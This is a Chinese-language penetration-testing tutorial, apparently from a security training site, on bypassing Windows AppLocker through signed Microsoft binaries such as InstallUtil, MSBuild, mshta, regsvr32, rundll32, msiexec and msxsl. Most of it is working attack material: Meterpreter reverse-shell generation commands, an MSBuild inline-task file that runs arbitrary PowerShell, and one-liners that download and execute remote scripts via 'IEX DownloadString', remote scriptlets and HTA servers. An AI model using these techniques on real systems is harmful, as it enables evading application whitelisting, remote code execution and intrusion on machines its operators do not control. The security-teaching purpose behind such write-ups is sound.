zoukankan      html  css  js  c++  java
  • AppLocker绕过之路

    前言

    在提权中我们经常会遇到目标开启了Applocker的情况,本文将以https://github.com/api0cradle/UltimateAppLockerByPassList为参考,讲解Applocker的绕过技术。

    这不仅仅是一个applocker的bypass文章,也是一个白名单利用文章。

    (若无特殊说明,实验环境一律为windows server 2012 r2)

    什么是applocker

    AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能,我们可以使用在services中启用Application Identity,然后在local security policy中找到Application Control Policies中看到Applocker选项。

    1.jpg

    applocker规则

    默认的Applocker规则支持以下几种:

    222.jpg

    .appx并不是所有的applocker都会存在,应根据windows版本来,在win10上,创建applocker规则后会在C:WindowsSystem32AppLocker生产相应的.applocker文件。

    applocker规则条件

    规则条件是用于帮助 AppLocker 标识要应用规则的应用的标准。三个主要规则条件为发布者、路径和文件哈希。

    • 发布者:基于应用的数字签名标识它
    • 路径:通过应用在计算机文件系统中或网络上的位置来标识它
    • 文件哈希:表示已标识文件的系统计算的加密哈希

    2.jpg

    AppLocker 默认规则

    在你创建了一个applocker规则后,系统会默认询问你是否添加一条默认规则,如下图所示:

    3.jpg

    每个规则所对应的默认规则如下:

    可执行的默认规则类型包括:

    • 允许本地 Administrators 组的成员运行所有应用。
    • 允许 Everyone 组的成员运行 Windows 文件夹中的应用。
    • 允许 Everyone 组的成员运行 Program Files 文件夹中的应用。

    脚本默认规则类型包括:

    • 允许本地 Administrators 组的成员运行所有脚本。
    • 允许 Everyone 组的成员运行 Program Files 文件夹中的脚本。
    • 允许 Everyone 组的成员运行 Windows 文件夹中的脚本。

    Windows Installer 默认规则类型包括:

    • 允许本地 Administrators 组的成员运行所有 Windows Installer 文件。
    • 允许 Everyone 组的成员运行所有已进行数字签名的 Windows Installer 文件。
    • 允许 Everyone 组的成员运行 WindowsInstaller 文件夹中的所有 Windows Installer 文件。

    DLL 默认规则类型:

    • 允许本地 Administrators 组的成员运行所有 DLL。
    • 允许 Everyone 组的成员运行 Program Files 文件夹中的 DLL。
    • 允许 Everyone 组的成员运行 Windows 文件夹中的 DLL。

    封装应用默认规则类型:

    • 允许 Everyone 组的成员安装和运行所有已签名的封装应用和封装应用安装程序

    AppLocker 规则行为

    可将规则配置为使用允许或拒绝操作:

    • 允许。你可以指定允许在你的环境中运行的文件以及所针对的用户或用户组。你还可以配置例外以标识从规则中排除的文件。
    • 拒绝。你可以指定 not 允许在你的环境中运行的文件以及所针对的用户或用户组。你还可以配置例外以标识从规则中排除的文件。

    4.jpg

    创建一个applocker规则

    讲了那么多,我们以禁止在桌面上运行exe文件为例,创建一条规则。创建完大体如下:

    5.jpg

    运行exe测试:

    6.jpg

    系统就会阻止我们运行

    bypass Applocker

    Installutil.exe

    InstallUtil是.NET Framework的一部分,是一个命令行程序,它使用户可以通过命令提示符快速安装和卸载应用程序。由于此实用程序是Microsoft签名的二进制文件,因此可以用来绕过AppLocker限制来运行任何.NET可执行文件。该实用程序也位于Windows文件夹内,该文件夹不会应用AppLocker策略,因为需要执行Windows文件夹的内容才能使系统正常运行。

    首先我们使用WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)生成一个模板

    1. python InstallUtil.py --cs_file pentestlab.cs
    2. --exe_file /root/Desktop/pentestlab.exe --payload
    3. windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443

    7.jpg

    上面的命令将生成一个C#模板,其中将包含Metasploit ShellCode。

    将生成后的文件放到目标中使用下面的方法执行:

    1. C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe

    当然你也可以是先使用msf生成一个csharp的payload,然后替换模板中的shellcode,然后将cs文件传到目标机。

    然后用csc编译我们的脚本:

    1. C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:exeshell.exe exeshell.cs

    8.jpg

    此时我们执行我们的文件试试:

    9.jpg

    被规则拦截,那么我们使用

    1. C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

    绕过

    0.jpg

    msf成功上线

    11.jpg

    在msf中也有使用InstallUtil.exe进行applocker的bypass模块。

    1. exploit/windows/local/applocker_bypass

    原理是一样的

    12.jpg

    附带常见的路径:

    • C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe
    • C:WindowsMicrosoft.NETFramework64v2.0.50727InstallUtil.exe
    • C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe
    • C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe

    Msbuild.exe

    MSBuild.exe(Microsoft Build Engine)是Visual Studio使用的软件构建平台。它采用XML格式的项目文件,这些文件定义了构建各种平台和配置的要求。(引用:MSDN MSBuild)

    我们可以使用MSBuild通过受信任的Windows实用工具代理代码执行。.NET版本4中引入的MSBuild内联任务功能允许将C#代码插入XML项目文件中。内联任务MSBuild将编译并执行内联任务。MSBuild.exe是一个经过签名的Microsoft二进制文件,因此,以这种方式使用它时,它可以执行任意代码,并绕过配置为允许MSBuild.exe执行的应用程序白名单防护.

    我们这里直接使用GreatSCT生成一个xml文件。

    1. ./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py

    13.jpg

    并且会给我们生成一个rc文件,我们可以使用msfconsole -r 直接启动msf

    然后使用msbuild执行,

    14.jpg

    msf上线:

    15.jpg

    当然你也可以是使用msf生成一个c#的shellcode然后使用三好学生师傅的模板加载:

    https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml

    注意将后缀名改为.csproj

    除了反弹shell以外我们还可以用它来绕过powershell的限制。

    16.jpg

    代码如下:

    1. <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    2. <!-- This inline task executes c# code. -->
    3. <!-- C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe pshell.xml -->
    4. <!-- Author: Casey Smith, Twitter: @subTee -->
    5. <!-- License: BSD 3-Clause -->
    6. <Target Name="Hello">
    7. <FragmentExample />
    8. <ClassExample />
    9. </Target>
    10. <UsingTask
    11. TaskName="FragmentExample"
    12. TaskFactory="CodeTaskFactory"
    13. AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
    14. <ParameterGroup/>
    15. <Task>
    16. <Using Namespace="System" />
    17. <Using Namespace="System.IO" />
    18. </Task>
    19. </UsingTask>
    20. <UsingTask
    21. TaskName="ClassExample"
    22. TaskFactory="CodeTaskFactory"
    23. AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
    24. <Task>
    25. <Reference Include="System.Management.Automation" />
    26. ");
    27. string x = Console.ReadLine();
    28. try
    29. {
    30. Console.WriteLine(RunPSCommand(x));
    31. }
    32. catch (Exception e)
    33. {
    34. Console.WriteLine(e.Message);
    35. }
    36. }
    37. return true;
    38. }
    39. //Based on Jared Atkinson's And Justin Warner's Work
    40. public static string RunPSCommand(string cmd)
    41. {
    42. //Init stuff
    43. Runspace runspace = RunspaceFactory.CreateRunspace();
    44. runspace.Open();
    45. RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
    46. Pipeline pipeline = runspace.CreatePipeline();
    47. //Add commands
    48. pipeline.Commands.AddScript(cmd);
    49. //Prep PS for string output and invoke
    50. pipeline.Commands.Add("Out-String");
    51. Collection results = pipeline.Invoke();
    52. runspace.Close();
    53. //Convert records to strings
    54. StringBuilder stringBuilder = new StringBuilder();
    55. foreach (PSObject obj in results)
    56. {
    57. stringBuilder.Append(obj);
    58. }
    59. return stringBuilder.ToString().Trim();
    60. }
    61. public static void RunPSFile(string script)
    62. {
    63. PowerShell ps = PowerShell.Create();
    64. ps.AddScript(script).Invoke();
    65. }
    66. }
    67. ]]>
    68. </Task>
    69. </UsingTask>
    70. </Project>

    原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml

    17.jpg

    成功绕过对powershell的限制。

    常见路径如下:

    • C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe
    • C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe
    • C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe
    • C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe
    • C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe
    • C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe

    Mshta.exe

    mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。默认已集成在环境变量中。

    使用Mshta的方式有很多,我们这里使用msf的exploit/windows/misc/hta_server模块进行测试:

    1. use exploit/windows/misc/hta_server
    2. msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
    3. msf exploit(windows/misc/hta_server) > exploit

    18.jpg

    目标机执行:

    1. mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta

    即可上线。

    除了这种方法hta还可以使用cobaltstrike、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT等进行上线。

    除了本地文件,mshta还支持远程下载的方式执行payload,比如:

    1. mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close();

    除了以上的方式,mshta可以用用来执行powershell:

    1. <HTML>
    2. <HEAD>
    3. <script language="VBScript">
    4. Set objShell = CreateObject("Wscript.Shell")
    5. objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')"
    6. </script>
    7. </HEAD>
    8. <BODY>
    9. </BODY>
    10. </HTML>

    即使applocker已经禁止powershell执行了

    19.jpg

    InfDefaultInstall.exe

    InfDefaultInstall.exe是一个用来进行inf安装的工具,具有微软签名,存在路径为:

    • C:WindowsSystem32Infdefaultinstall.exe
    • C:WindowsSysWOW64Infdefaultinstall.exe

    我们也可以用它来绕过一些限制。用法就是直接该文件后面跟你的inf文件即可。

    它的执行流程如下:

    20.jpg

    作者给出的poc地址如下:

    https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a

    思路也和图中那样,使用shady.inf去调用远程的sct后门。

    不过他的调用需要更高的权限,我在win10下运行的截图:

    21.jpg

    Mavinject.exe

    Mavinject是win10上面自带的windows组件,我们可以用它来进行dll注入,并绕过部分限制。

    用法如下:

    1. mavinject32.exe <PID> <PATH DLL>

    常见路径如下:

    • C:Program FilesCommon Filesmicrosoft sharedClickToRunMavInject32.exe
    • C:WindowsSystem32mavinject.exe
    • C:WindowsSysWOW64mavinject.exe

    但是我本地复现的时候并没有成功注入,但是也没有什么提示,不知道具体原因是什么,版本为:10.0.15063.0 (WinBuild.160101.0800)

    应该是可以成功注入的,附上一张推特大佬成功的图。

    有兴趣的可以多尝试几个系统。

    22.jpg

    MSIEXEC

    MSIEXEC是Microsoft的应用程序,可用于从命令行安装或配置产品。这个其实不是很陌生的了,我之前也写过用它来进行提权的文章。我们假设可以执行msi文件,用它来绕过applocker对powershell的限制。

    先用msf生成一个msi文件。

    1. msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi

    23.jpg

    windows下执行:

    24.jpg

    成功绕过。

    msxsl.exe

    msxsl.exe是一个xml的转换器,带有微软数字签名。下载地址如下:

    https://www.microsoft.com/en-us/download/details.aspx?id=21714

    25.jpg

    我们使用3gstudent来尝试绕过applocker对calc的限制,

    customers.xml:

    1. <?xml version="1.0"?>
    2. <?xml-stylesheet type="text/xsl" href="script.xsl" ?>
    3. <customers>
    4. <customer>
    5. <name>John Smith</name>
    6. <address>123 Elm St.</address>
    7. <phone>(123) 456-7890</phone>
    8. </customer>
    9. <customer>
    10. <name>Mary Jones</name>
    11. <address>456 Oak Ave.</address>
    12. <phone>(156) 789-0123</phone>
    13. </customer>
    14. </customers>

    script.xml:

    1. <?xml version='1.0'?>
    2. <xsl:stylesheet version="1.0"
    3. xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    4. xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    5. xmlns:user="http://mycompany.com/mynamespace">
    6. <msxsl:script language="JScript" implements-prefix="user">
    7. function xml(nodelist) {
    8. var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    9. return nodelist.nextNode().xml;
    10. }
    11. </msxsl:script>
    12. <xsl:template match="/">
    13. <xsl:value-of select="user:xml(.)"/>
    14. </xsl:template>
    15. </xsl:stylesheet>

    成功绕过:

    26.jpg

    当然也可以执行我们的shellcode,具体参考:

    https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

    Regsvr32.exe

    regsvr32是Windows命令行实用程序,用于将.dll文件和ActiveX控件注册和注销到注册表中。

    文件位置:

    • C:WindowsSystem32 egsvr32.exe
    • C:WindowsSysWOW64 egsvr32.exe

    下面为大家演示,绕过applocker上线。

    27.jpg

    28.jpg

    scT文件内容如下:

    1. <?XML version="1.0"?>
    2. <scriptlet>
    3. <registration
    4. progid="Pentest"
    5. classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
    6. <script language="JScript">
    7. <![CDATA[
    8. var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c: & pentestlab.exe");
    9. ]]>
    10. </script>
    11. </registration>
    12. </scriptlet>

    各参数的含义:

    • 静默不显示任何消息// / s
    • 不调用DLL注册服务器// / n
    • 要使用另一个IP地址,因为它不会调用DLL注册服务器// / i
    • 使用取消注册方法// / u

    除了本地执行,它还支持远程加载:

    1. regsvr32 /u /n /s /i:http://ip:port/payload.sct scrobj.dll

    sct我们使用GreatSct生成即可。

    Rundll32.exe

    Rundll32是一个Microsoft二进制文件,可以执行DLL文件中的代码。由于此实用程序是Windows操作系统的一部分,因此可以用作绕过AppLocker规则或软件限制策略的方法

    先生成我们的payload:

    28.jpg

     目标机执行:  

    1. rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

    上线:

    30.jpg

    除了远程之外,也可以本地上线:

    1. rundll32 shell32.dll,Control_RunDLL C:Userspentestlab.dll

    也可以用来绕过对某些软件的限制,比如弹个cmd:

    31.jpg

    后记

    前人载树、后人乘凉。感谢各位师傅的辛苦付出。看完文章,来做个实验消化一下,《.NET框架0Day漏洞(CVE-2017-8759)》点击链接开始学习吧!

    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    数据结构 003.2.2 队列的顺序实现及其操作
    数据结构 003.2.1 队列的基本概念
    数据结构 003.2.3 队列的链式实现及其操作
    数据结构 005.3 二叉树的遍历
    数据结构 005.5 树的存储结构及其遍历
    数据结构 005.4 线索二叉树
    数据结构 004.2 KMP算法
    数据结构 004.1 串的基本概念
    数据结构 005.2 二叉树的基本概念
    chisel项目配置文件模板
  • 原文地址:https://www.cnblogs.com/hetianlab/p/15243059.html
Copyright © 2011-2022 走看看